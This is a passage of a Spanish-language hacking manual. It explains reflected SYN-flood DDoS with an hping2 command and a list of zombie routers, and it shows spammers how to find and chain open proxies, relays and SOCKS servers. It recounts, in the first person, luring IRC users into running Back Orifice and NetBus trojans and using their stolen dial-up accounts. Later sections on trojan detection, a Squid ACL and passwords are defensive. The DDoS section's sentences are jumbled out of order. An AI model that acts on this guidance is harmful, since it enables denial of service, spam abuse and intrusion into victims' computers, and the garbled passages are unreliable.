Utilizando esta lista de routers y con el programa adecuado para generar los paquetes con la dirección spoofeada. la máquina que nos pongamos como blanco recibirá cuatro paquetes. Escalando estos datos al número de servidores/routers utilizados para la incursión y al número de paquetes que enviemos a estos. por lo que podemos enviar paquetes SYN con la IP origen spoofeada. cualquier proceso de rastreo del paquete original sería imposible.Cuando un equipo que tiene un servicio corriendo en un puerto determinado. como por ejemplo SSH (22). con lo que finaliza el proceso. Al tratarse de equipos que no suelen mantener registros del tráfico que manejan (el tamaño de estos archivos de registro sería excesivamente grande). y con anchos de banda que los IPS tienen para sus respectivas conexiones o los utilizados en el corazón del Internet. cuando no se recibe el ACK esperado. Cualquier conexión que hagamos a este puerto seguirá el proceso del three-way TCP/IP handshake. 144 . la máquina atacada será quien reciba el paquete SYN/ACK. tienen grandes granjas de servidores con anchos de banda grandes. telnet (23). Estos routers. que es el que utilizan para intercambiar tablas de rutas con los routers vecinos mediante el protocolo BGP (Border Gateway Protocol). suelen tener abierto el puerto 179. servidores web (80). podríamos generar un torrente de paquetes sin necesidad de tener que utilizar máquinas con algún tipo de troyano instalado. genera un paquete de respuesta SYN/ACK.

Linux y BSD. junto con el puerto que se utilizará en cada uno. Es un programa sencillo que lee un archivo de la lista de servidores que actuarán como zombies. más eficiente será el ataque. y puede ser descargado desde su página oficial www. Es conveniente poner routers y servidores que sepamos que tienen un gran ancho de banda. como si fuésemos la ip-atacada. mejorada con respecto de la anterior versión.com Con el conocimiento y los programas a la mano. Hping3 se encuentra ahora en su versión beta. Sockets TCP/IP raw Con la incorporación de los sockets TCP/IP raw en el sistema operativo WinXP. Este archivo debe contener un servidor/router por línea. La línea correspondiente en este archivo será 10 11 12 13 179. ya sean routers o servidores. Para conocer más acerca de estos ataques revisados se puede visitar la página web http://grc.13 que responde en el puerto 179 (BGP). componer paquetes con estructuras que van más allá de los límites que marcan los estándares.gz.12. haciéndonos pasar de ese modo. hay que notar en esta disposición que los puntos entre los números se sustituyen por espacios en blanco. Esto permite que se puedan realizar aplicaciones que utilicen cualquier tipo de socket de cualquier forma imaginable. Esto era algo que solo se veía con Win2000. se dio un incremento en los ataques DDoS. Hay que advertir que nunca debemos hacer estas pruebas en sistemas ajenos por ser un delito. hping2 -S -i u100000 ip-atacada ip-zombie Es decir.hping.C.B.tar. desarrollar aplicaciones DDoS.astalavista.Existe en la red una útil herramienta con la que podemos realizar este tipo de ataque y se puede conseguir en www. Cuanto mayor sea la lista. Se pueden programar utilerías que empleen IP Spoofing. enviamos paquetes tcp con el flag SYN activo a la máquina ip-zombie.D puerto.org. se puede comenzar a hacer las pruebas en nuestros propios sistemas. Todos sabemos que la mayoría de los usuarios domésticos carece de conciencia acerca de la seguridad y es muy fácil que capten virus desde páginas con códigos maliciosos o que incluso permitan la instalación de troyanos. 145 . pero debemos automatizar el proceso para lanzar una instancia del programa por cada uno de los servidores zombies que deseamos emplear.11. etc. de la forma A.com/tools/dos/flooder/DRDoS. Podemos utilizar hping2 para efectuar este ataque. Por ejemplo: si tenemos un router con la IP 10.

en lugar de solicitar de nuevo la página al servidor.10.9. Muchas de las páginas no están actualizadas y la mayoría de las veces. en realidad no estamos accediendo directamente al servidor. o el abuso por personas que deseen navegar anónimamente. por no dejar acceder a ciertos protocolos o puertos. Este suele tener lo que denominamos un caché. También el proxy puede ser un limitador. pero puede que piense que el usuario que lo accede es el propio proxy. AOL es un servicio que utiliza decenas de proxies para que sus abonados se conecten a Internet.3. además de enviarla al usuario que la ha solicitado. si varias personas que acceden a Internet a través del mismo proxy acceden al primer sitio web. el proxy la primera vez accede físicamente al servidor destino. envía al usuario la copia que tiene en la caché. Cuando nos conectamos con un proxy. el proxy sólo comprueba si la página solicitada se encuentra en la caché y no ha sido modificada desde la última solicitud.12 146 .com 1. Sin embargo. en lugar del usuario real que hay detrás del proxy. simplemente hay que teclear CTRL+F5 para actualizarla.8. los spammers utilizan estos proxies enviar correo masivo. con una copia de las páginas web que se van visitando. Esto lo hace AOL para ahorrarse ancho de banda. como la posibilidad de recibir contenidos que no están actualizados. Utilizar un proxy también tiene sus desventajas. Otro caso típico de uso de un proxy es para navegar anónimamente. En sucesivos accesos a la misma información por distintos usuarios. Lo más habitual es el proxy web.4.6. sino que realizamos una solicitud sobre el proxy y es éste quien se conecta con el servidor al que queremos acceder y posteriormente nos devuelve el resultado de la solicitud. con la finalidad de ocultar su IP. En ese caso. Un proxy es un punto intermedio entre una computadora conectada a Internet y el servidor al que está accediendo.5. en vez de recibirla directamente desde nuestra computadora. El servidor web puede entonces tener constancia de que lo están accediendo. Una deficiente configuración de la seguridad permite el abuso de servidores proxies por los que los spammers envían sus correos a través de estos. rapidez de navegación e incluso el anonimato. Es la técnica favorita de estos maliciosos ya que la dirección IP que queda registrada es la de la máquina que es objeto del abuso. El proxy web es un dispositivo que suele estar más cerca de nuestra computadora que el servidor al que estamos accediendo. Cuando navegamos a través de un proxy.Los Proxies Un proxy es un programa o dispositivo que realiza una tarea de acceso a Internet en lugar de otra computadora. los aolers no se dan cuenta.víctima. Proxies abiertos En ocasiones se pueden encontrar proxies abiertos a todo el mundo y.7. el proxy puede o no decir quién es el usuario que lo está utilizando. que sirve para interceptar las conexiones con la web y puede ser útil para incrementar la seguridad.2. algunos pertenecen a empresas u organismos oficiales y hacen su conexión a través de proxies abiertos o empleando algún servidor con socks abiertos (puerto 1080 o Wingate) lo cual hace muy difícil seguirles el rastro ya que en los registros se graban los “anfitriones” que quizá por ignorancia o desidia han dejado esas puertas abiertas. Para evitar esto. Spammer --> Poxy abierto --> mail. el servidor al que accedemos en realidad recibe la solicitud del proxy. Entonces. puede haber sistemas proxy que interceptan diversos servicios de Internet. Los spammers actúan más o menos de la siguiente manera: buscan servidores de correo de tipo Open Relay. Hay proxies anónimos y los hay que sí informan del usuario real que está conectado a través de él. Al ser el proxy el que accede al servidor web. al entrar a una página en el software de AOL.11. solicita la página y la guarda en la caché. tener que gestionar muchas conexiones y resultar un cuello de botella. Esto mejora el rendimiento o velocidad de la conexión a Internet de los equipos que están detrás del proxy.

Aunque para hacerlo en la legalidad.com>. Si en el ejemplo anterior 5. En la página www.41. La estructura de la línea de ejemplo es como sigue: 193.proxy.victima. Los programas están pensados para ser udados por administradores responsables que quieran tener la certeza de que en la red que manejan no haya ningún equipo que haga de open relay u open proxy.3. Para ususarios gratuitos.com>. 22 feb 2009 12:41:45 ­0000 Received: from  spammer. El resto de los datos son la fecha y hora.onzoza actitud! La única forma de rastrear un email enviado de esta forma es contactándose con el administrador de 5. en la de cualquier proveedor de servicios de internet (ISP).asp y descargar dos programas que buscan servidores open relay y open proxies respectivamente.proxy.asp se puede obtener una lista de relays abiertos pagando una suscripción.7.com/orc/openrelaylist.6. pero se puede utilizar en cualquier rango de Ips. los spammers utilizan tanto proxies como relays abiertos.com with SMTP for <spamee@víctima. “640” es el tiempo de respuesta (en este ejemplo es lento)..6.8) By: mail.170. “No” indica que el proxy no es anónimo.6.com  (5. sin embargo.relaysniper. pero por supuesto que pueden ser utilizados de la misma manera que varios programas similares para encontrar equipos de “puertas abiertas” a los fines que convenga al interesado. 147 .2..com (1. la lista no está actualizada. es decir.Las cabeceras de un spam enviado según este esquema se verían así: Received: from Open.2.onzoza actitud! Por esta razón. 22 feb 2009  12:40:18 ­0000 From: <spammer@spam.3. por ejemplo.openproxies.7.8 fuera un relay abierto.com>. En los programas scanner de servidores open relay se puede hacer un “barrido” de direcciones IP indicando la inicial y final.8) By: mail.com  (5.com se ofrece a los visitantes una lista de diez proxies abiertos.8 y esperar a que éste conteste y a ver si tiene los logs donde se pueda rastrear el abuso a 1. existen administradores de esos servidores tan descuidados que es posible que hayan dejado servicios abiertos.victima.4) by open. no oculta nuestra IP.com/download.com> To: <spamee@víctima. 22 feb 2009 12:41:45 ­0000 From:  <spammer@spam.com > To: <spamee@víctima. Proxies anónimos y no anónimos En www.7..6.com with SMTP for <spamee@víctima.235 80 640 ms No 01/20 17:43 Como se puede ver.proxy. las cabeceras del correo spam se verían del modo siguiente: Received: from Open. Debemos notar que un proxy abierto no es lo mismo que un relay abierto en virtud de que éste último trabaja a nivel aplicación y por tal motivo si deja huellas de su origen.com> Subject: ¡Es hora de que se te pare la verg. se indica la dirección IP y el puerto (80).7. debe practicarse en nuestros equipos..com with SMTP for <spamee@víctima.openrelaycheck.com> Subject: ¡Es hora de que se te pare la verg. Búsqueda de proxies y relays abiertos Podemos navegar a la página www.4.

Existen tres opciones por las que alguien deja un proxy abierto a todo el mundo. Si se quiere una lista completa de proxies anónimos y activos hay que suscribirse al servicio.org a través de tres proxies anónimos: el proxy A (que está configurado en el navegador que usemos). la dirección que debemos solicitar sería algo así: http://proxyB:puerto/http://proxyC:puerto/http://www.atomintersoft.barcelonaweb. el proxy B y el C que estan en la URL que tecleamos. se pueden utilizar varios proxies. etc.8080/http://proxy. Por ejemplo.usnowear. que veremos en el siguiente apartado. está completamente claro que lo que es un verdadero crimen es forzar la entrada a un equipo sin autorización. Lo anterior es análogo a imaginar que alguien deja un teléfono disponible para cualquiera.com/tools1. Otro ejemplo más realista sería: http://proxy.com.com 148 . Como resultado obtendríamos acceso a la página http://www.página. por negligencia o quizá porque tiene sus prpios motivos para hacerlo. El teléfono ahí está y nadie lo toma por la fuerza.arroba. especialmente si tiene una IP fija y no dinámica y no le gusta que se conozcan sus hábitos de navegación.all-nettools. Uso de varios proxies Si se quiere navegar de mejor manera y anónima.com:8080/http://www. o es por que no sabe lo que hace (ignorancia). En la sección correspondiente a Proxy Test podemos corroborar que estamos saliendo de la IP del proxy y que no puede detectarse nuestra IP real.com/products/alive-proxy/online-proxy-checker que también cuenta con un servicio similar para servidores socks. pues eso corre a cuenta de quien lo utiliza.htm.Para saber si el proxy que estamos utilizando es anónimo o no.pagina. se pueden verificar online desde www. Legalidad de usar Proxies Aunque muchos han cuestionado la legalidad de utilizar un proxy para ocultar nuestra IP.org. Si se tienen las IPs de posibles servidores proxy abiertos. si usamos el proxy A y sabemos las direcciones de de otros dos proxies (proxy B y proxy C). podemos aprovechar los servicios de la página www. Como ninguna persona o autoridad a indicado alguna norma o restricción para su uso. Las personas que utilizan proxies lo hacen para proteger su privacidad y evitar que un sitio web registre su ingreso. sus preferencias.

com/download/SocksCapDownload/index. como por ejemplo.atlantech. De hecho. No solamente poder encontrar un open socks es útil para el IRC.permeo. Aunque las listas nunca estarán actualizadas.com 1080 7155 103­01­22 3 stat 12­233­223­176. Los spammers más astutos emplean varios servidores SOCKS y hasta pueden combinarlos con servidores proxy con lo que se vuelve una tarea árdua tratar de ubicar la fuente del spam. especialmente wingates o SOCKS. Podemos obtener el programa SocksCap desde: www. y no la del propio equipo. De esta manera.com 1080 3513 103­02­20 5 stat 13­e4bed1. Obviamente. Para aquellos que han usado mirc o algún script para chat por IRC. dada su naturaleza. ya que para tenerlas al día debemos registrarnos y pagar una cuota.Los Servidores Socks En principio.rosinstrument. 149 . SOCKS trabaja con aplicaciones TCP y UDP. si quiere ver los detalles y la IP de origen.socks. Si encontramos un servidor abierto. los scripts ya vienen con escaneadores de puertos.cfl.rr.attbi. el puerto (1080 por lo general) y el protocolo SOCKS v. solo determinados equipos deberían utilizar el servicio.client. En el programa debemos especificar la IP del servidor. por lo que con cierta paciencia tendremos la posibilidad de encontrar uno abierto cuando menos.attbi. siempre existirán servidores abiertos durante meses.asp Este programa nos permite que cualquier aplicación cliente UDP/TCP de Winxx pueda salir a través de un servidor SOCKS. Si vamos a la página http://tools.5. Indicamos al programa SocksCap que dicha aplicación salga por el servidor SOCKS que le indiquemos. El listado aparece con líneas estructuradas de la siguiente manera: 2 stat 12­232­116­187.client.4 o SOCKS v.65. la presencia de servidores SOCKS abiertos resultan muy utiles para poder realizar todo tipo de actividades sin revelar nuestra IP verdadera. que los servidores IRC controlan que el cliente no se haya conectado a través de estos servidores porque entonces gozarían de privilegios e impunidad en virtud de que la dirección IP registrada es la del servidor o host.client. el aureate. entonces solamente necesitamos un programa de envío masivo de emails. hablar de los Socks es hablar de un protocolo de red de tipo proxy que posibilita que un equipo del lado interior del servidor SOCKS llegue a otros equipos remotos sin establecer una conexión directa desde su dirección IP. la víctima del spam recibirá el mensaje desde el Open Relay y.net 1080 8633 103­02­13 6 stat 131­109­110­50 1080 1768 103­02­12 Aquí podemos notar que en todas las líneas el puerto abierto es el 1080. Considérese alguien con pocos escrúpulos quisiera enviar spam pasando inadvertido.com 1080 5181 103­02­12 4 stat 123­69­33. Se puede usar como método de protección o cortafuegos para proteger equipos de nuestra red de Internet. Es por la razón antes mencionada. Para empezar debe buscar un servidor Open Relay con cualquiera de los métodos vistos y luego un servidor SOCKS.com/proxy/ podremos tener una lista de servidores SOCKS y proxy abiertos. aparecerá la del servidor SOCKS y no la del spammer.

Si somos administradores de un proxy..0.1. por ejemplo un Squid.0..0. Solo hay que apuntar el navegador hacia: http://members. El resto tiene denegado el acceso. pero son malas noticias si en realidad lo que queremos es encontrar un Open Relay.1/255.0/0.au/~remmie/relay/index. Si estamos usando un servidor de correo es fundamental probar que no sea un Open Relay ya que esto nos puede traer un quebradero de cabeza enorme. se define explícitamente a localnet (o el nombre que se le quiera poner) como la red autorizada. Existe una página cuya finalidad es tanto para probar nuestros propios servidores como los servidores ajenos y verificar si hacen relay.255 acl Safe_ports por 80 443 210 119 70 21 1025­65535 acl CONNECT method CONNECT acl all src 0. The host machine does not relay Este mensaje debe ser buena noticia si somos administradores de un servidor de correo.0.1. en este caso la red privada 192.Test a Nuestros Servidores Es hora de preguntarnos si nuestros propios equipos no tienen una puerta abierta a cualquier ente malicioso que quisiera aprovecharla.net.0. podemos ver las pruebas que hace y los resultados en un servidor dado.168. Aquí podemos encontrar parte del archivo squid.255.255.0/255.0 y solamente se permite la salida por el proxy (http_access allow -perimitir-) a esta red y al equipo local.255.255.168. por sus siglas en inglés -Access Control List) para autorizar solamente a nuestros usuarios a utilizar el proxy.cgi En esta página hay que poner el nombre o la IP del servidor sospechoso y el script hace la comprobación en línea para saber si se trata o no de un Open Relay.255.0. 150 .conf donde pueden observarse as ACL: acl localnet src  192. debemos prestar atención al manejo de las Lista De Control de Acceso (ACL.255.0/255.0 http_access allow localnet http_access allow localhost http_access deny !Safe_ports http_access deny CONNECT http_access deny all Como se puede observar. Resulta sumamente interesante observar las diferentes clases de pruebas que se efectúan sobre el servidor SMTP (el de correo) para ver si lo puede burlar y lograr que retransmita nuestro mensaje: Failure Unfortunately the program failed because.0 acl localhost src  127.iinet. En el cuadro adjunto.

por tanto. 151 . aunque normalmente se trata de violar las medidas de seguridad para poder acceder al mismo de forma no autorizada y emplearlo en beneficio propio o como origen de otros ataques a terceros. Otro objetivo del exploit puede ser la destrucción o inhabilitación del sistema atacado. fallo o vulnerabilidad. Un exploit remoto funciona a través de una red y explota la vulnerabilidad de la seguridad sin previo acceso a las vulnerabilidades del sistema. permitir la escalada de privilegios o romover un ataque de denegación de servicio. o una secuencia de comandos que provecha un error. esto incluye cosas tales como la violenta toma de control de un sistema de cómputo. un fragmento de datos. como el acceso no autorizado a datos. Otra clasificación se basa según las acción ejecutadas contra el sistema vulnerable. Un exploit local sí requiere acceso previo al sistema vulnerable y por lo general aumenta los privilegios de la persona que ejecuta el exploit que los concedidos por el administrador del sistema. hardware. sino que los mantienen privados para su propio uso. Los exploits contra las aplicaciones cliente también pueden requerir alguna interacción con el usuario y. El más común es por la forma en que el exploit contacta el software vulnerable. Clasificación Existen varios métodos para clasificar las vulnerabilidades. a continuación. es decir que lo explota (como en la frase explotar los recursos). Sin embargo. la vulnerabilidad se arregla usando un parche y el exploit se vuelve obsoleto para las nuevas versiones del software. y obtener acceso a esos exploits es el principal deseo de maliciosos atacantes a menudo denominados como Scriptkiddies Una de las herramientas más utilizadas para realizar este tipo de ataque informatico es el Metasploit que se encuentra en su ultima version. También existen exploits contra las aplicaciones que fungen como cliente. o algo electrónico (por lo general computarizado). pueden utilizarse en combinación con el método de ingeniería social que ya revisamos anteriormente. Muchos exploits están diseñados para proporcionar el acceso a nivel de superusuario en un sistema informático (conseguir los privilegios de root). la ejecución de código arbitrario o (DoS). Objetivos de uso La finalidad de usar un exploit es causar un comportamiento no deseado o imprevisto en los programas informáticos.Los Exploits Un exploit (del francés explotar o aprovechar) es una pieza de software. por lo general consisten en servidores modificados que envían un exploit si uno accede con la aplicación cliente. Muy frecuentemente. Estas exploits se denominan "exploits de día cero". Esta es la razón por la cual algunos blackhat hackers no publican sus exploits. A menudo. también es posible utilizar varios exploits. Normalmente un único exploit sólo puede tomar ventaja de una vulnerabilidad de software específica. en primer lugar para obtener un bajo nivel de acceso y. cuando un exploit se publica. poder escalar privilegios varias veces hasta llega a root.

El servidor lo que hace es abrir un puerto de comunicaciones. 152 . Aquí entra en juego la ingeniería social. se renombraba el programa servidor con un nombre más atractivo e inocente como sexo. llamada servidor. o serie de fotografías que se abrían con un ejecutable (los programas compresores como el WinZip o el WinRar poseen la opción de crear archivos comprimidos en forma de ejecutables) o lo que más éxito tiene. Se les conoce también como Caballos de troya (Trojan horses).exe El boserve. Texas.exe es justamente el servidor del BO y no debíamos ejecutarlo en nuestra máquina sino en el de la víctima. una técnica que tratamos antes.exe <-Descompresor de archivos comprimidos con Freeze Freeze. Bogui. éste se instala sin levantar sospechas. etc.este es el cliente en modo interfaz de usuario Boclient. lo que le permite al programa cliente ponerse en contacto con él y acceder a todos los recursos del sistema. La idea era simple. un troyano se instala en segundo plano de manera que cuando la víctima ejecuta el primer programa. Los troyanos son programas ocultos en otro tipo de archivos también ejecutables que al ser activados en una computadora por el usuario de una red que utiliza los protocolos TCP/IP (LAN o Internet). queda instalado en el sistema y se agrega una antrada al registro del sistema de Windows o hace intrusión en los archivos de inicio (Win. Fue publicado junto con su código fuente en C++. A veces.Los Troyanos Un troyano es un programa que se basa en la arquitectura cliente-servidor. a los usuarios victimizados les aparece un mensaje de error como un mensaje de que falta una librería DLL para ejecutar la aplicación. tras bambalinas sucede la instalación del troyano.Utilería de configuración y plugin del servidor del BO Melt.Compresor de archivos.exe. Una de las maneras más populares en las que se conseguían víctimas potenciales era entrar a los canales de chat de IRC (Internet Relay Chat) que tenían la característica de posibilitar la transferencia de archivos por DCC (Direct Client-to-Client). fotosporno.exe. Sólo había que solucionar el problema de cómo enviárselo a un pobre incauto que lo descargara y ejecutara. con motivo del congreso de hackers DEFCON 6 (la más grande convención anual) http://www.exe <. Se descomprimen con melt. Por esta razón los troyanos son una herramienta excelente para la administración remota.exe <. dentro se encontraban los siguientes archivos: Bo. que les enviaríamos un programa crack de passwords para hacer full un software de paga. Un troyano famoso (BO) que fue la causa de demasiados problemas entre usuarios incautos en el IRC. permite al atacante tomar control del equipo desde otra PC. organización fundada en 1984 en Lubbock. crack.exe.cliente en modo de texto Boconfig. Este troyano vió la luz del día el primero de agosto de 1998 por un grupo de hackers renegados conocidos como The Cult Of The Dead Cow (cDc). Por lo general. Luego se conversaba con un pichón y lo convencíamos de que teníamos una película porno. una vez ejecutado el servidor.txt Boserve. Back Orifice. Dependiendo de la habilidad del verdugo o de la inocencia del victimado no era muy difícil enviarle el cabalo de troya y que le abriera las puertas gustoso.ini).exe <. sin embargo.exe<.el servidor autoinstalable del BO. Los troyanos no son virus ya que no poseen la capacidad de autoreplicarse.org/. mediante el cual se puede conectar a cualquier equipo que tenga instalada la otra parte.defcon.txt Plugin. Cuando se descargaba el archivo comprimido zip. Un programa troyano consiste en dos partes: un programa cliente. Además.exe<.

com/TheCleaner/TheCleaner 153 . Se distribuye bajo diferentes nombres a través de grupos de correo y noticias. una excelente herramienta de paga es "The Cleaner" que se puede descargar desde http://www. en caso de estar establecidas. Códigos maliciosos que aprovechan bugs de ActiveX en Internet Explorer en ciertas páginas pueden ser fuentes de contagio. Estos nombres son distintos en las diferentes versiones de Sub7.exe.ini y System. Para ver los puertos usados por los troyanos: http://www. Posteriormente se da de alta en el registro de Winxx en las claves Run y Runservices para que se ejecute durante cada arranque del sistema operativo. El programa también puede instalarse en el sistema cambiando los archivos Win. Sub7 descomprime un archivo DLL llamado Watching. Si la tarea está activa e invisible en el administrador de tareas. la persona pensaba que el archivo estaba dañado. pero lo que en realidad acontecía era que el programa servidor se ejecutaba y abría el tristemente célebre puerto 31337 que en leet speak significa ELEET. desactivar el teclado.html Netbus. Para evitar la visita de tan nocivos programas. Sub7 (SubSeven). capturar pantallas. entre ellas el acceso telefónico a redes. Se podía navegar por directorios.dll. solo era cuestión de usar el programa cliente y de esa manera poder hacer cosas como acceder a sus claves. mientras seguíamos charlando con el pichón cuya máquina ya estaba poseída por nosotros. Como detector y limpiador de troyanos. Otro troyano pesado. el backdoor se asegura que su copia esté siempre en memoria. invertir los botones del mouse. ejecutábamos el programa cliente del BO. "ELITE". a veces llamado Windows. La persona que tiene la parte cliente del troyano.exe y lo registra de modo que es ejecutado cada vez que es lanzado un programa ejecutable (. busca conexiones TCP/IP y. abría el puerto 12345. Se instalaba de manera similar al BO. toma el control sobre el sistema remoto donde está instalada la parte servidor. SystemTrayIcon!. También se pueden recibir troyanos al bajar aplicaciones de web malignas o desde programas P2P. Las formas de recibir un troyanos son variadas.moosoft. Como al parecer nada pasaba cuando se pulsaba doble sobre el programa. Rundll16. mensajes. Las maldades que permitía el troyano eran varias.exe) en Winxx.exe o Windows. Algunos troyanos lanzan un mensaje de librerías DLL no encontradas o inclusive pueden lanzar algún programa pequeño. borrar directorios completos.dll en el directorio System de Winxx (algunas variantes no hacen esto).seguridadenlared. De este modo.ini Una de las versiones del Sub7 deposita un programa de arranque. por ejemplo abrir y cerrar la lectora de CD. Leet speak es escribir palabras con números. administrar Windows.exe. o como Server. Al ejecutarse se copia a sí mismo en el directorio de Windows con el nombre original del archivo desde el que fue ejecutado. pero una de las más comunes es por abrir correos electrónicos de gente extraña. aparentemente no sucedía nada en la computadora. son suministradas con una utilería de configuración de servidor que permite adaptar algunas de las capacidades del servidor como métodos de instalación. se pone a escuchar los puertos TCP/IP esperando comandos de parte del programa cliente. Una vez que se había abierto la "puerta trasera" del inconsciente. leer documentos y todo lo que pudiera satisfacer nuestra curiosidad. etc. Todas las versiones recientes del sub7. tenemos que tener activo y actualizado nuestro antivirus. pero al ser ejecutado. lo que nos posibilitaba conectarnos a un proveedor de servicios de Internet (ISP) sin pagar nada y utilizar cuentas ajenas. arranques personalizados.org/es/index5esp. enviar mensajes de texto que aparecían de golpe en la pantalla del pichón. pero no era difícil conseguirla en los chats de IRC donde no se enmascaraban las IP's de los usuarios. Para esto necesitabamos le dirección IP de la víctima.Una vez que la víctima daba doble click al programa. Luego.

Opciones. Tambien puede descargarse a disco y analizarlo con un antivirus como el Kaspersky (de paga) o el Avast! (gratuito).0.1 como dirección local (la dirección que tiene la máquina).0.0:2049 tcp        0       0  0. la dirección IP 200. guardarlo en disco y analizarlo con el antivirus.0. Y si esa persona es conocida. proto.80:25 Foreign Address 0. debemos tener la certeza de que el archivo proviene efectivamente de esa persona y que no se trata de algún virus de los que se autoenvían.0. que en este caso es 212.0. Del mismo modo podemos usar Telnet e intentar conectarnos con el puerto 12345. podemos utilizar el comando ~$ netstat ­an Active Internet connections (servers and established) Proto  Recv­Q  Send­Q  Local Address tcp        0       0  0.0.33:80         0. esto se hace en el menú Herramientas . En este caso.0:*                State LISTEN LISTEN LISTEN LISTEN LISTEN En la primera columna. pestaña leer. De todos modos. TCP y UDP son los servicios que que utiliza Internet para establecer la comunicación.0. En la columna local address es donde tenemos que mirar los puertos que tenemos abiertos. si aparece una cadena es que el puerto se encuentra abierto y tenemos el troyano activo.0.0:139 tcp        0       0  0. por lo que insistimos que deben estar actualizados.42.0. Si el archivo adjunto viene comprimido en zip o en rar.0.0. La columna Local Address nos dice nuestra dirección IP.0:111 tcp        0       0  127.clarin. Aquí vemos el puerto 7878 en estado "Listening" que bien podría ser un backdoor abierto por un troyano en espera de contactarse con el cliente remoto. debemos asegurarnos que nuestro antivirus tiene la capacidad de escudriñar dentro del archivo empaquetado. es conveniente. desactivar la opción “descargar automáticamente el mensaje” al verlo en el panel de vista previa.40.0:*                200.33 corresponde a www.120. aparecen los tipos de conexión. y 127.0:*                0.42. que pueden abrir ciertos puertos no convencionales y no ser en realidad troyanos maliciosos.0:*                0. Por precaución.143.Como ya conocemos el tema de puertos y TCP. si utilizamos Outlook o Outlook express como clientes de correo. Aunque hay que tomar en cuenta que hay conocidos que nos pueden enviar uno a modo de broma. nunca debemos aceptar envíos por DCC de ninguna persona. De todos modos debemos tener en cuenta el tipo de software que estamos utilizando.exe. En la siguiente columna. Foreign Address se encuentra la dirección IP y el puerto de la máquina con la que estamos manteniendo la comunicación.0.0. 154 .40.0. ya que algunos virus y troyanos pueden activarse con solo abrir el correo.0. Un análisis de nuestro equipo debe incluir el registro de Windows en busca de claves extrañas.0.80 de cara a Internet.0. En cuanto a los navegadores. requerimos tener siempre la última versión y sus correspondientes parches de seguridad y cuando bajamos algún programa de fuente dudosa.1:7878 tcp        0       0  212.120. Prevención En casos de correo electrónico.0.143. lo recomendable es no abrir ningún archivo adjunto (attachments) que provenga de fuentes desconocidas. los buenos antivirus detectarían todos los troyanos. Un lugar para buscar sería: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run En el caso de NetBus encontraríamos el programa Patch.com y el puerto 80 corresponde al servicio HTTP del servidor web. En el IRC.

y en algunas organizaciones. love. A veces el usuario escoge una contraseña tan pobre que es fácilmente adivinada por los hackers. Sigue estando muy presente en la mayoría de los sistemas y actualmente se considera como una de las amenazas más serias a la seguridad en internet. Hay ciertas pautas que debemos tener presente al elegir una contraseña: 1. detrás del CPU e incluso a los lados del monitor. esos serían los primeros. son de las más comunes. Los mejores lugares donde podríamos encontrar las contraseñas de las personas serían bajo el teclado. Algunas personas son tan perezosas que usan como contraseña "Enter" (retorno de carro) 4. de los hijos. y aquellos que emplean contraseñas excelentes no pueden recordarlas y entonces deben anotarlas en un pedazo de papel y lo pegan en su monitor. Se puede decir que escoger una contraseña débil es responsable por el gran número de incursiones por hackers. Casi todos los días escuchamos hablar del robo de contraseñas e irrupciones en computadoras. etc. Si un hacker va a probar a adivinar una contraseña. Escoger una palabra que no esté en el diccionario y que contenga tanto números como letras. la cerradura actúa como el Nombre de usuario y la contraseña sería la llave. Algunas personas tienen problemas para recordar el gran número de contraseñas cuando emplea varios servicios y esto da como resultado usar la misma contraseña por todas partes. incluyendo símbolos como (#. y si es posible. wizard. ^). Se requiere una contraseña en muchos lugares: se requiere una para acceder nuestra bandeja de entrada. 3. pero las personas mismas se convierten en la cadena más débil en el proceso entero de autenticación. De igual modo los contraseñas son tan importantes como la llave de nuestra casa. Se emplea el nombre de usuario (Username) para identificar al usuario y la contraseña para autenticarlo y para cada nombre de usuario hay una única contraseña. nos exigen una contraseña al entrar a una página web para checar nuestro correo. nombre de la pareja. para cada cerradura existe una única llave para abrirla y entrar. de nuestra mascota. Nunca debemos usar como contraseña el mismo dato que utilizamos como su nombre de usuario. Así que con solo saber una única contraseña se abrirían las puertas de un usuario perezoso. La mayoría de las personas normalmente emplea malas contraseñas. Hay veces que colocan una contraseña vacía.%. 155 . Se emplean contraseñas para asegurar el acceso legal y apropiado sólo a aquellas personas que tienen la autoridad o el permiso para ver los datos. money. fecha de nacimiento. necesitamos teclear una contraseña para inicializar el sistema. En todos los lugares se emplea la combinación Nombre de usuario (Username) y Contraseña (Password) para autenticar al usuario. En éste ejemplo. beammeupscotty. los administradores de sistemas que se encuentran muy atareados. a veces seleccionan contraseñas que fácilmente se pueden adivinar: admin. Nunca escoger como contraseña nuestro propio nombre. Tomemos el ejemplo de la clásica llave y la cerradura. utilizar minúsculas y mayúsculas. $.Contraseñas Una Introducción Una contraseña se describe mejor como una herramienta de autenticación. Las contraseñas por default les otorgan a los hackers un acceso fácil a las entrañas del sistema. sysop. Algunas páginas poseen un código que previene estos casos. ya que solo pueden ser craqueados con un Password Cracker de fuerza bruta lo cual toma demasiado tiempo para resolver. 2. Muchos hackers usan primero las contraseñas por default para posteriormente intentar adivinar las contraseñas recurriendo a métodos más sofisticados. Y para agregar más insulto al agravio. El fenómeno de la contraseña débil no es un mito ni algo que haya desaparecido con el tiempo.

la próxima vez que queramos entrar a nuestra cuenta e introducimos la contraseña para autenticarnos. Al teclearla se pasa a través del algoritmo para ser guardado en un archivo especial como 012112AGT. El método utilizado para almacenar contraseñas es definitivamente más seguro en sistemas Unix. Es en este punto en que un hacker malintencionado se vuelve altamente peligroso. Craqueando Archivos de Contraseñas de Unix/Linux Se considera que Unix es el sistema operativo más seguro. La diferencia entre una contraseña ensombrecida y una contraseña encriptada es que ésta última es la contraseña real solo que con cambios internos y puede ser revelada con un rompedor de contraseñas. esto significa que si nosotros pasamos la contraseña encriptada a través del algoritmo inverso. la computadora no la despliega en texto plano. que es la forma encriptada. podrá hacer uso de exploits y vulnerabilidades para ganar privilegio de root o acceso como administrador. no pueda averiguar la contraseña tan facilmente. Contraseña ensombrecida (Shadow Password) Normalmente. los caracteres que vamos tecleando se pasan a través del mismo algoritmo y se compara con el valor guardado previamente. foros o páginas especializadas. la autenticación fracasa. si llegaramos a conseguir la contraseña encriptada y sabemos cuál es el algoritmo que encripta AOL123. El algoritmo que se emplea para encriptar la contraseña es un algoritmo de un solo sentido. sino que sólo muestra asteriscos. seremos autenticados. En la mayoría de las formas de Unix uno ni siquiera veremos los asteriscos y el cursor no se moverá. La contraseña. para que nadie que haga un surfeo de hombro averigüe nuestra contraseña. Las contraseñas ensombrecidas. no conseguiremos la contraseña en texto plano original. La contraseña ensombrecida tiene como finalidad ocultar la contraseña encriptada en algún lugar diferente al directorio etc/. El archivo de contraseñas “passwd” tiene muchas líneas con la siguiente estructura básica: 